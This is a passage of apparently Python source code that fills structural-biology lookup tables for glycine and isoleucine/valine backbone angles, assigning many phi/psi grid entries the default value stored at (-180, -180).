Gly_xpro[(160, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(160, 170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -180)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -170)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, -10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 0)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 10)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 20)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 30)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 40)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 50)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 60)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 70)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 80)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 90)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 100)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 110)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 120)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 130)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 140)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 150)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 160)]=Gly_xpro[(-180, -180)]
Gly_xpro[(170, 170)]=Gly_xpro[(-180, -180)]
IleVal_nonxpro = cdl_database["IleVal_nonxpro"]
IleVal_nonxpro[(-180, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-180, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-170, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-160, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-150, 120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-140, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, -10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-130, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-120, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-110, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, -30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-100, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, -60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-90, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-80, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-70, 170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -180)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -170)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -160)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -150)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -140)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -130)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -120)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -110)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -100)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -90)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -80)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, -70)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 0)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 10)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 20)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 30)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 40)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 50)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 60)]=IleVal_nonxpro[(-180, -180)]
IleVal_nonxpro[(-60, 70)]=IleVal_nonxpro[(-180, -180)]
